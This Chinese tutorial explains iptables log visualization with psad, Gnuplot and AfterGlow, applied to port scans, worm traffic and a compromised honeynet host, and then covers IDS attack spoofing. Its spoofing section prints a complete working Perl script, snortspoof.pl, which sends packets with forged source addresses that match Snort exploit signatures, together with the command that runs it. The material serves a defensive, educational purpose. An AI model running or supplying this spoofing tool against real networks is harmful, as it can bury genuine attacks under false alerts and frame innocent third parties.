可视化 iptables 日志与攻击欺骗技术解析
1. 可视化 iptables 日志
在网络安全分析中,iptables 日志包含了大量有价值的信息,通过可视化这些日志,我们可以更直观地发现潜在的安全威胁。
1.1 签名匹配与端口扫描
psad 的取证模式输出中,有一些重要的签名匹配信息,例如:
- “POLICY vncviewer Java applet download attempt”:TCP 协议,链为 FORWARD,计数为 1,目标端口 5802,SYN 标志,规则 ID 为 1846。
- “PSAD - CUSTOM Slammer communication attempt”:UDP 协议,链为 FORWARD,计数为 1,目标端口 1434,规则 ID 为 100208。
- “RPC portmap listing UDP 32771”:UDP 协议,链为 FORWARD,计数为 1,目标端口 32771,规则 ID 为 1281。
这些签名匹配展示了针对特定端口的常见恶意流量使用情况。端口扫描通常是蠕虫或攻击者试图利用特定服务漏洞来攻陷更多系统的迹象。
我们可以使用以下命令绘制外部 IP 地址与它们发送数据包的唯一本地地址数量的关系图:
# psad -m iptables.data --gnuplot --CSV-fields "src:!not11.11.0.0/16 dst:11.11.0.0/16,!countuniq" --gnuplot-graph points --gnuplot-xrange 0:26000 --gnuplot-yrange 0:27 --gnuplot-file-prefix fig14-5
$ gnuplot fig14-5.gnu
这个命令中,
!not11.11.0.0/16
用于排除 11.11.0.0/16 网络,
!countuniq
用于统计唯一的目标地址。从图中可以看出,大多数外部地址只向一两个目标地址发送数据包,但有一些外部地址(范围约为 18000 - 26000)会连接到多达 24 个蜜网网络地址,对应的 IP 地址范围是 63.236.244.77 到 221.140.82.123。
1.2 端口扫描可视化
Scan34 iptables 数据集中,有些源会反复尝试连接一系列目标系统的特定端口。我们可以使用以下命令绘制外部源地址、目标端口和数据包计数的三维图:
# psad -m iptables.data --gnuplot --CSV-fields src:!not11.11.0.0/16 dp:count --gnuplot-graph points --gnuplot-3d --gnuplot-view 74,77 --gnuplot-file-prefix fig14-6
$ gnuplot fig14-6.gnu
在这个三维图中,x 轴表示源地址,y 轴表示端口号,z 轴表示数据包计数。图中出现一个异常点,IP 地址 200.216.205.189 向 TCP 端口 3306(MySQL)发送了 2244 个数据包,这很可能是一个端口扫描器。
为了进一步分析这个 IP 地址的扫描行为,我们可以绘制它向 11.11.0.0/16 子网中各个目标 IP 地址的 MySQL 端口 3306 发送数据包的数量图:
# psad -m iptables.data --gnuplot --CSV-fields "dst dp:3306,count" --CSV-regex "SRC=200.216.205.189" --gnuplot-graph points --gnuplot-yrange 0:150 --gnuplot-file-prefix fig14-7
$ gnuplot fig14-7.gnu
从图中可以看到,共有 24 个目标地址参与了这次端口扫描,有些系统收到了超过 120 个数据包。
我们还可以使用 AfterGlow 生成一个链接图来更直观地展示这个 IP 地址的扫描情况:
# psad -m iptables.data --CSV --CSV-fields "src:200.216.205.189 dst dp:3306" --CSV-max 6 | perl afterglow.pl -c color.nf | neato -Tpng -o fig14-8.png
这个链接图包含了源和目标 IP 地址,清晰地展示了数据包的流向。
1.3 蠕虫活动可视化
- Slammer 蠕虫 :Slammer 蠕虫是历史上传播速度最快的蠕虫之一,它利用了 Microsoft SQL Server 2000 的堆栈溢出漏洞,通过一个 404 字节的 UDP 数据包(包含 IP 头)发送到端口 1434。我们可以使用以下命令绘制 Slammer 蠕虫每小时的数据包计数图:
# psad -m iptables.data --gnuplot --CSV-fields "timestamp dp:1434,counthour" --gnuplot-graph lines --gnuplot-xrange 1140887484:1143867180 --CSV-regex "LEN=404.*PROTO=UDP" --CSV-neg-regex "SRC=11.11." --gnuplot-file-prefix fig14-9
$ gnuplot fig14-9.gnu
从图中可以看到,Slammer 蠕虫对蜜网有活动,3 月 20 日有一个高峰,每小时约 57 个数据包。如果我们将时间尺度调整为每分钟,使用以下命令:
# psad -m iptables.data --gnuplot --CSV-fields "timestamp dp:1434,countmin" --gnuplot-graph lines --gnuplot-xrange 1140887484:1143867180 --CSV-regex "LEN=404.*PROTO=UDP" --CSV-neg-regex "SRC=11.11." --gnuplot-file-prefix fig14-10
$ gnuplot fig14-10.gnu
虽然看起来情况没有那么严重,但实际上是时间尺度变化的原因,在整个 Scan34 挑战的五周内,3 月 21 日最多每分钟有 4 个数据包。
- Nachi 蠕虫 :Nachi 蠕虫攻击未针对 MS03 - 026 漏洞打补丁的 Microsoft Windows 2000 和 XP 系统。在攻击前,它会先发送一个 92 字节的 ICMP Echo Request 数据包,这使得它很容易被检测到。我们可以使用以下命令绘制 Nachi 蠕虫每小时的流量图:
# psad -m iptables.data --gnuplot --CSV-fields "timestamp ip_len:92,counthour" --gnuplot-graph lines --gnuplot-xrange 1140887484:1143867180 --CSV-regex "PROTO=ICMP" --CSV-neg-regex "SRC=11.11." --gnuplot-file-prefix fig14-11
$ gnuplot fig14-11.png
从图中可以看到,3 月 19 日有一个 Nachi 蠕虫活动的高峰。我们还可以使用 AfterGlow 生成一个链接图来展示 Nachi 蠕虫的 ICMP 流量:
# psad -m iptables.data --CSV --CSV-fields "src dst ip_len:92" --CSV-max 300 --CSV-regex "PROTO=ICMP.*TYPE=8" | perl afterglow.pl -c color.nf |neato -Tpng -o fig14-12.png
1.4 受攻陷系统的出站连接
蜜网系统放置在开放网络上,目的是被攻陷,通过分析成功的攻击和导致真正被攻陷的步骤,我们可以学习如何保护系统并获取潜在新漏洞的有价值情报。我们可以使用以下命令绘制蜜网 11.11.0.0/16 子网向外部地址目标端口的所有出站 SYN 数据包的点图:
# psad -m iptables.data --gnuplot --CSV-fields "src:11.11.0.0/16 dst:!not11.11.0.0/16 dp" --CSV-regex "SYN URGP=" --gnuplot-graph points --gnuplot-file-prefix fig14-13 --gnuplot-view 71,63
$ gnuplot fig14-13.png
从图中可以看到,有一个蜜网源地址向多个外部地址发送 SYN 数据包,目标端口既有 0 - 1000 的低端口,也有 6000 - 7000 的高端口,这可能存在安全风险。为了更清楚地了解情况,我们可以使用 AfterGlow 生成一个链接图:
# psad -m iptables.data --CSV --CSV-fields "src:11.11.0.0/16 dst:!not11.11.0.0/16 dp" --CSV-regex "SYN URGP=" | perl afterglow.pl -c color.nf | neato -Tpng -o fig14-14.png
从链接图中可以看到,只有一个蜜网系统(IP 地址为 11.11.79.67)在向外部 IP 地址建立 TCP 连接,有多个 SSH 连接和 IRC 连接,这是系统被攻陷的明显迹象。
2. 攻击欺骗
入侵检测系统(IDS)存在误报问题,攻击者可以利用这一点,故意制造看起来恶意的网络流量,从而隐藏真正的攻击,甚至诬陷无辜的第三方。
2.1 Snort 攻击欺骗脚本
Snort 是一种常用的入侵检测系统,为了说明攻击者如何制造虚假的恶意流量,我们可以使用
snortspoof.pl
脚本。以下是该脚本的代码:
#!/usr/bin/perl -w
require Net::RawIP;
use strict;
my $file = $ARGV[0] || '';
my $spoof_addr = $ARGV[1] || '';
my $dst_addr = $ARGV[2] || '';
die "$0 <rules file> <spoof IP> <dst IP>"
unless $file and $spoof_addr and $dst_addr;
# alert udp $EXTERNAL_NET any -> $HOME_NET 635 (msg:"EXPLOIT x86 Linux #
# mountd overflow"; content:"^|B0 02 89 06 FE C8 89|F|04 B0 06 89|F";
# reference:bugtraq,121
my $sig_sent = 0;
open F, "< $file" or die "[*] Could not open $file: $!";
SIG: while (<F>) {
my $content = '';
my $conv_content = '';
my $hex_mode = 0;
my $proto = '';
my $spt = 10000;
my $dpt = 10000;
### make sure it is an inbound sig
if (/^\s*alert\s+(tcp|udp)\s+\S+\s+(\S+)\s+\S+
\s+(\$HOME_NET|any)\s+(\S+)\s/x) {
$proto = $1;
my $spt_tmp = $2;
my $dpt_tmp = $4;
### can't handle multiple content fields yet
next SIG if /content:.*\s*content\:/;
$content = $1 if /\s*content\:\"(.*?)\"\;/;
next SIG unless $content;
if ($spt_tmp =~ /(\d+)/) {
$spt = $1;
} elsif ($spt_tmp ne 'any') {
next SIG;
}
if ($dpt_tmp =~ /(\d+)/) {
$dpt = $1;
} elsif ($dpt_tmp ne 'any') {
next SIG;
}
my @chars = split //, $content;
for (my $i=0; $i<=$#chars; $i++) {
if ($chars[$i] eq '|') {
$hex_mode == 0 ? ($hex_mode = 1) : ($hex_mode = 0);
next;
}
if ($hex_mode) {
next if $chars[$i] eq ' ';
$conv_content .= sprintf("%c",
hex($chars[$i] . $chars[$i+1]));
$i++;
} else {
$conv_content .= $chars[$i];
}
}
my $rawpkt = '';
if ($proto eq 'tcp') {
$rawpkt = new Net::RawIP({'ip' => {
saddr => $spoof_addr, daddr => $dst_addr},
'tcp' => { source => $spt, dest => $dpt, 'ack' => 1,
data => $conv_content}})
or die "[*] Could not get Net::RawIP object: $!";
} else {
$rawpkt = new Net::RawIP({'ip' => {
saddr => $spoof_addr, daddr => $dst_addr},
'udp' => { source => $spt, dest => $dpt,
data => $conv_content}})
or die "[*] Could not get Net::RawIP object: $!";
}
$rawpkt->send();
$sig_sent++;
}
}
print "[+] $file, $sig_sent attacks sent.\n";
close F;
exit 0;
这个脚本的工作流程如下:
1. 使用
Net::RawIP
Perl 模块,该模块需要提前安装(可从 http://www.cpan.org 下载)。
2. 打开命令行指定的 Snort 规则文件,并遍历文件中的所有规则。
3. 提取检测针对
HOME_NET
攻击的 TCP 和 UDP 签名。
4. 解析 Snort 规则中的应用层内容字符串,如果包含十六进制代码,将其转换为实际字节。
5. 使用
Net::RawIP
模块构建 TCP 或 UDP 数据包,包含指定的源和目标 IP 地址、端口号以及应用层数据。
6. 发送数据包。
2.2 执行攻击欺骗
我们可以使用以下命令执行攻击欺骗,伪造源 IP 地址 11.11.22.22 并将攻击数据包发送到目标 IP 地址 44.44.55.55:
[spoofer]# ./snortspoof.pl /etc/fwsnort/snort_rules/exploit.rules 11.11.22.22 44.44.55.55
[+] /etc/fwsnort/snort_rules/exploit.rules, 53 attacks sent.
使用
tcpdump
可以确认
snortspoof.pl
生成了针对目标 IP 地址的攻击数据包。
通过以上的可视化和攻击欺骗分析,我们可以更好地理解网络中的安全威胁和攻击手段,从而采取相应的防护措施。
以下是一个简单的 mermaid 流程图,展示
snortspoof.pl
脚本的工作流程:
graph TD;
A[开始] --> B[检查命令行参数];
B --> C{参数是否有效};
C -- 是 --> D[打开规则文件];
C -- 否 --> E[输出错误信息并退出];
D --> F[遍历规则文件];
F --> G{是否为有效规则};
G -- 是 --> H[解析规则内容];
G -- 否 --> F;
H --> I[构建数据包];
I --> J[发送数据包];
J --> F;
F --> K{是否遍历完所有规则};
K -- 是 --> L[输出发送攻击数量并退出];
K -- 否 --> F;
通过以上的分析和操作,我们可以更深入地了解网络安全中的日志可视化和攻击欺骗技术,为网络安全防护提供有力的支持。
可视化 iptables 日志与攻击欺骗技术解析
3. 可视化与攻击欺骗的综合应用及思考
3.1 可视化的价值与优势
可视化安全数据能够快速传达重要信息,避免了对大量数据进行耗时的分析。对于需要处理入侵检测系统和防火墙产生的海量数据的人员来说,它是一个极大的帮助。通过从安全数据中提取字段,并使用简单的标准(如随时间变化的目标端口或本地网络的出站连接)进行绘图,往往可以得出有趣的结论。
以 iptables 数据为例,psad 提供了从 iptables 日志中提取数据字段的方法,而 Gnuplot 和 AfterGlow 项目则将数据以图形形式呈现出来,使数据更加直观易懂。以下是一个简单的表格,总结了不同可视化方式及其作用:
| 可视化方式 | 作用 | 示例命令 |
| — | — | — |
| Gnuplot 二维图 | 展示外部 IP 地址与唯一本地地址数量的关系,发现异常连接行为 |
# psad -m iptables.data --gnuplot --CSV-fields "src:!not11.11.0.0/16 dst:11.11.0.0/16,!countuniq" --gnuplot-graph points --gnuplot-xrange 0:26000 --gnuplot-yrange 0:27 --gnuplot-file-prefix fig14-5
|
| Gnuplot 三维图 | 展示外部源地址、目标端口和数据包计数的关系,发现端口扫描行为 |
# psad -m iptables.data --gnuplot --CSV-fields src:!not11.11.0.0/16 dp:count --gnuplot-graph points --gnuplot-3d --gnuplot-view 74,77 --gnuplot-file-prefix fig14-6
|
| AfterGlow 链接图 | 直观展示数据包的流向,清晰呈现攻击连接情况 |
# psad -m iptables.data --CSV --CSV-fields "src:200.216.205.189 dst dp:3306" --CSV-max 6 | perl afterglow.pl -c color.nf | neato -Tpng -o fig14-8.png
|
3.2 攻击欺骗的风险与防范
攻击欺骗利用了入侵检测系统的误报问题,给网络安全带来了潜在风险。攻击者可以通过制造虚假的恶意流量来隐藏真正的攻击,或者诬陷无辜的第三方。为了应对这种威胁,我们需要了解攻击欺骗的原理,并采取相应的防范措施。
Snort 为了对抗欺骗性的 TCP 攻击,添加了 stream4 预处理器,它可以跟踪 TCP 会话的状态,并忽略未通过已建立会话发送的攻击。然而,攻击者仍然可以通过解析 IDS 使用的签名集,并伪造符合这些签名的数据包来进行攻击欺骗。
为了防范攻击欺骗,我们可以采取以下措施:
1.
精细调整 IDS
:通过合理配置 IDS 的规则和参数,减少误报的发生,提高 IDS 的准确性。
2.
多维度分析
:不仅仅依赖 IDS 的警报,还结合其他安全信息(如日志分析、流量监控等)进行综合判断,以识别真正的攻击。
3.
使用会话跟踪技术
:如 Snort 的 stream4 预处理器,跟踪 TCP 会话的状态,确保只处理合法的会话。
4.
监控异常流量
:对网络中的异常流量进行实时监控,及时发现潜在的攻击欺骗行为。
3.3 未来发展方向
虽然 psad、Gnuplot 和 AfterGlow 为我们提供了强大的可视化和分析工具,但仍然存在一些局限性。例如,许多管理员拥有从网络各个点收集的 PCAP 文件形式的原始数据包数据,但 psad 目前还无法解释这些文件。不过,我们可以使用 tcpreplay 工具将这些数据包数据发送到 iptables 防火墙,让 iptables 记录数据包数据,以便后续使用 psad、Gnuplot 和 AfterGlow 进行渲染。
未来,我们可以期待这些工具的进一步发展和完善,以支持更多类型的数据和更复杂的分析需求。例如,开发能够直接解析 PCAP 文件的功能,或者提供更高级的可视化和分析算法,以帮助我们更好地理解和应对网络安全威胁。
4. 操作总结与建议
4.1 操作总结
本文介绍了可视化 iptables 日志和攻击欺骗的相关技术和方法,具体操作步骤总结如下:
1.
可视化 iptables 日志
-
端口扫描可视化
:使用 psad 和 Gnuplot 绘制外部 IP 地址与唯一本地地址数量的关系图、外部源地址、目标端口和数据包计数的三维图,以及特定 IP 地址的端口扫描图。使用 AfterGlow 生成链接图,直观展示数据包的流向。
-
蠕虫活动可视化
:使用 psad 和 Gnuplot 绘制 Slammer 蠕虫和 Nachi 蠕虫的流量图,使用 AfterGlow 生成链接图展示蠕虫的 ICMP 流量。
-
受攻陷系统的出站连接可视化
:使用 psad 和 Gnuplot 绘制蜜网子网向外部地址目标端口的出站 SYN 数据包的点图,使用 AfterGlow 生成链接图展示连接情况。
2.
攻击欺骗
-
使用 snortspoof.pl 脚本
:该脚本可以伪造源 IP 地址,发送符合 Snort 规则的攻击数据包。
-
执行攻击欺骗
:使用命令
./snortspoof.pl /etc/fwsnort/snort_rules/exploit.rules 11.11.22.22 44.44.55.55
执行攻击欺骗。
4.2 建议
- 安全管理员 :定期对 IDS 进行精细调整,减少误报的发生。结合可视化工具,对网络安全数据进行多维度分析,及时发现潜在的安全威胁。加强对异常流量的监控,特别是来自未知源的流量和异常的端口连接。
- 开发者 :进一步完善可视化和分析工具,支持更多类型的数据和更复杂的分析需求。开发更高级的防范攻击欺骗的算法和技术,提高网络安全的防护能力。
以下是一个 mermaid 流程图,展示网络安全分析的整体流程:
graph TD;
A[收集网络数据] --> B[使用 psad 提取数据字段];
B --> C[使用 Gnuplot 或 AfterGlow 进行可视化];
C --> D{是否发现异常};
D -- 是 --> E[分析异常原因];
E --> F[采取防范措施];
F --> G[持续监控];
D -- 否 --> G;
G --> A;
通过以上的分析和总结,我们可以更好地理解可视化 iptables 日志和攻击欺骗的技术和方法,为网络安全防护提供有力的支持。在未来的网络安全工作中,我们应该充分利用可视化工具和分析技术,及时发现和应对各种安全威胁,保障网络的安全稳定运行。
iptables日志可视化与攻击欺骗分析
超级会员免费看
68

被折叠的 条评论
为什么被折叠?



